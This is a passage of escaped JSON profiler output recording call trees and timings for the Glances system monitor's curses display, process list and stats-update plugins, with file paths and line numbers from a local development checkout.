\"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.051912,\"attributes\": {\"cGlancesCursesStandalone\": 0.05191236400423804, \"l1135\": 0.05191236400423804},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051912,\"attributes\": {\"cGlancesCursesStandalone\": 0.05191236400423804, \"l569\": 0.04991177099873312, \"l603\": 0.002000593005504925},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.049912,\"attributes\": {\"cGlancesCursesStandalone\": 0.04991177099873312, \"l545\": 0.04991177099873312},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.049912,\"attributes\": {\"cAlertPlugin\": 0.0019996250048279762, \"l1101\": 0.04991177099873312, \"cProgramlistPlugin\": 0.02000555399717996, \"cProcesslistPlugin\": 0.0259062740005902, \"cHelpPlugin\": 0.0020003179961349815},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000201\",\"time\": 0.002000,\"attributes\": {\"cAlertPlugin\": 0.0019996250048279762, \"l210\": 0.0019996250048279762},\"children\": [{\"identifier\": \"loop_over_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000189\",\"time\": 0.002000,\"attributes\": {\"cAlertPlugin\": 0.0019996250048279762, \"l199\": 0.0019996250048279762},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000199\",\"time\": 0.002000,\"attributes\": {\"l199\": 0.0019996250048279762},\"children\": [{\"identifier\": \"add_start_time\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000141\",\"time\": 0.002000,\"attributes\": {\"cAlertPlugin\": 0.0019996250048279762, \"l144\": 0.0019996250048279762},\"children\": [{\"identifier\": \"datetime.strftime\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.045912,\"attributes\": {\"cProgramlistPlugin\": 0.02000555399717996, \"l587\": 0.04591182799777016, \"cProcesslistPlugin\": 0.0259062740005902},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.045912,\"attributes\": {\"cProgramlistPlugin\": 0.02000555399717996, \"l538\": 0.038074799995229114, \"l532\": 0.0020148309995420277, \"cProcesslistPlugin\": 0.0259062740005902, \"l537\": 0.0019101610014331527, \"l539\": 0.003912036001565866},\"children\": [{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.004007,\"attributes\": {\"cProgramlistPlugin\": 0.004007102994364686, \"l500\": 0.004007102994364686},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.004007,\"attributes\": {\"l51\": 0.004007102994364686},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.004007,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.0020035150009789504, \"l309\": 0.0020035150009789504},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.0020035150009789504, \"l848\": 0.0020035150009789504},\"children\": [{\"identifier\": \"get_stat_name\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000794\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.0020035150009789504, \"l801\": 0.0020035150009789504},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_username\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000370\",\"time\": 0.001991,\"attributes\": {\"cProgramlistPlugin\": 0.001990948003367521, \"l378\": 0.001990948003367521},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001991,\"attributes\": {\"cProgramlistPlugin\": 0.001990948003367521, \"l1130\": 0.001990948003367521},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020034869958180934, \"l417\": 0.0020034869958180934},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000776003114879, \"l405\": 0.002000776003114879},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002015,\"attributes\": {\"cProgramlistPlugin\": 0.0020148309995420277, \"l1130\": 0.0020148309995420277},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002015,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_nprocs\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000172\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.001988693999010138, \"l175\": 0.001988693999010138},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001989,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002053,\"attributes\": {\"cProgramlistPlugin\": 0.002053329000773374, \"l360\": 0.002053329000773374},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002053,\"attributes\": {\"cProgramlistPlugin\": 0.002053329000773374, \"l341\": 0.002053329000773374},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002053,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001943,\"attributes\": {\"cProgramlistPlugin\": 0.001942871000210289, \"l309\": 0.001942871000210289},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001943,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002005,\"attributes\": {\"cProcesslistPlugin\": 0.002004711001063697, \"l323\": 0.002004711001063697},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.002005,\"attributes\": {\"l242\": 0.002004711001063697},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001990,\"attributes\": {\"cProcesslistPlugin\": 0.0019900249972124584, \"l309\": 0.0019900249972124584},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001990,\"attributes\": {\"cProcesslistPlugin\": 0.0019900249972124584, \"l855\": 0.0019900249972124584},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001990,\"attributes\": {\"cProcesslistPlugin\": 0.0019900249972124584, \"l965\": 0.0019900249972124584},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001990,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001910,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002088,\"attributes\": {\"cProcesslistPlugin\": 0.0020878579962300137, \"l325\": 0.0020878579962300137},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002088,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002013,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.00199785600125324, \"l308\": 0.00199785600125324},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001914,\"attributes\": {\"cProcesslistPlugin\": 0.0019141779994242825, \"l472\": 0.0019141779994242825},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001914,\"attributes\": {\"cProcesslistPlugin\": 0.0019141779994242825, \"l466\": 0.0019141779994242825},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001914,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.004070,\"attributes\": {\"cProcesslistPlugin\": 0.004070294002303854, \"l309\": 0.004070294002303854},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.004070,\"attributes\": {\"cProcesslistPlugin\": 0.004070294002303854, \"l874\": 0.0020663800023612566, \"l888\": 0.002003913999942597},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002066,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001996,\"attributes\": {\"cProcesslistPlugin\": 0.0019963890008511953, \"l428\": 0.0019963890008511953},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001996,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002010,\"attributes\": {\"cProcesslistPlugin\": 0.0020097279993933626, \"l309\": 0.0020097279993933626},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002010,\"attributes\": {\"cProcesslistPlugin\": 0.0020097279993933626, \"l855\": 0.0020097279993933626},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002010,\"attributes\": {\"cProcesslistPlugin\": 0.0020097279993933626, \"l965\": 0.0020097279993933626},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002010,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.001917,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001917,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/help/__init__.py\\u0000151\",\"time\": 0.002000,\"attributes\": {\"cHelpPlugin\": 0.0020003179961349815, \"l182\": 0.0020003179961349815},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002000,\"attributes\": {\"cHelpPlugin\": 0.0020003179961349815, \"l1130\": 0.0020003179961349815},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.002000593005504925, \"l845\": 0.002000593005504925},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.002000593005504925, \"l1094\": 0.002000593005504925},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.002000593005504925, \"l1046\": 0.002000593005504925},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001088\",\"time\": 0.002001,\"attributes\": {\"l1088\": 0.002000593005504925},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101232,\"attributes\": {\"cGlancesCursesStandalone\": 0.10123236799699953, \"l291\": 0.10123236799699953},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101232,\"attributes\": {\"cGlancesCursesStandalone\": 0.10123236799699953, \"l260\": 0.10123236799699953},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101232,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101232,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100451,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045055399677949, \"l1202\": 0.10045055399677949},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100451,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100451,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100474,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047378500166815, \"l291\": 0.10047378500166815},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100474,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047378500166815, \"l260\": 0.10047378500166815},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100474,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100474,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100460,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045958200498717, \"l1202\": 0.10045958200498717},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100460,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100460,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100491,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049075299320975, \"l291\": 0.10049075299320975},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100491,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049075299320975, \"l260\": 0.10049075299320975},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100491,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100491,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100441,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044102900428697, \"l1202\": 0.10044102900428697},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100441,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100441,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100471,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004708690015832, \"l291\": 0.1004708690015832},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100471,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004708690015832, \"l260\": 0.1004708690015832},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100471,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100471,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100335,\"attributes\": {\"cGlancesCursesStandalone\": 0.10033547599596204, \"l1202\": 0.10033547599596204},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100335,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100335,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100593,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059313500096323, \"l291\": 0.10059313500096323},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100593,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059313500096323, \"l260\": 0.10059313500096323},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100593,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100593,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100381,\"attributes\": {\"cGlancesCursesStandalone\": 0.10038071100279922, \"l1202\": 0.10038071100279922},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100381,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100381,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100458,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045846399589209, \"l291\": 0.10045846399589209},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100458,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045846399589209, \"l260\": 0.10045846399589209},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100458,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100458,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100450,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044960600498598, \"l1202\": 0.10044960600498598},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100450,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100450,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100578,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005779349943623, \"l291\": 0.1005779349943623},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100578,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005779349943623, \"l260\": 0.1005779349943623},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100578,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100578,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100539,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053863700159127, \"l1202\": 0.10053863700159127},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100539,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100539,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100521,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052147500391584, \"l291\": 0.10052147500391584},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100521,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052147500391584, \"l260\": 0.10052147500391584},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100521,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100521,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100501,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050121599488193, \"l1202\": 0.10050121599488193},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100501,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100501,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100566,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056611400068505, \"l291\": 0.10056611400068505},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100566,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056611400068505, \"l260\": 0.10056611400068505},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100566,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100566,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100446,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044634400401264, \"l1202\": 0.10044634400401264},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100446,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100446,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100507,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050718399725156, \"l291\": 0.10050718399725156},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100507,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050718399725156, \"l260\": 0.10050718399725156},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100507,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100507,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100446,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044577799999388, \"l1202\": 0.10044577799999388},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100446,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100446,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.123665,\"attributes\": {\"cGlancesStats\": 0.12366452700371156, \"l287\": 0.12366452700371156},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.123665,\"attributes\": {\"cGlancesStats\": 0.12366452700371156, \"l575\": 0.12366452700371156},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.123665,\"attributes\": {\"l571\": 0.12366452700371156},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.123665,\"attributes\": {\"cGlancesStats\": 0.12366452700371156, \"l274\": 0.09934897600032855, \"l275\": 0.024315551003383007},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.079658,\"attributes\": {\"cDiskioPlugin\": 0.003662834998976905, \"l1278\": 0.0796579340021708, \"cContainersPlugin\": 0.006006312003592029, \"cProcesscountPlugin\": 0.06998878699960187},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.079658,\"attributes\": {\"l1295\": 0.0796579340021708},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003663,\"attributes\": {\"cDiskioPlugin\": 0.003662834998976905, \"l114\": 0.003662834998976905},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003663,\"attributes\": {\"cDiskioPlugin\": 0.003662834998976905, \"l1351\": 0.001672261001658626, \"l1362\": 0.001990573997318279},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.001672,\"attributes\": {\"cDiskioPlugin\": 0.001672261001658626, \"l148\": 0.001672261001658626},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001672,\"attributes\": {\"l2129\": 0.001672261001658626},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001672,\"attributes\": {\"l1106\": 0.001672261001658626},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001672,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"compute_rate_on_list\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001339\",\"time\": 0.001991,\"attributes\": {\"cDiskioPlugin\": 0.001990573997318279, \"l1346\": 0.001990573997318279},\"children\": [{\"identifier\": \"compute_rate\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001307\",\"time\": 0.001991,\"attributes\": {\"cDiskioPlugin\": 0.001990573997318279, \"l1320\": 0.001990573997318279},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.006006,\"attributes\": {\"cContainersPlugin\": 0.006006312003592029, \"l252\": 0.006006312003592029},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.006006,\"attributes\": {\"l256\": 0.006006312003592029},\"children\": [{\"identifier\": 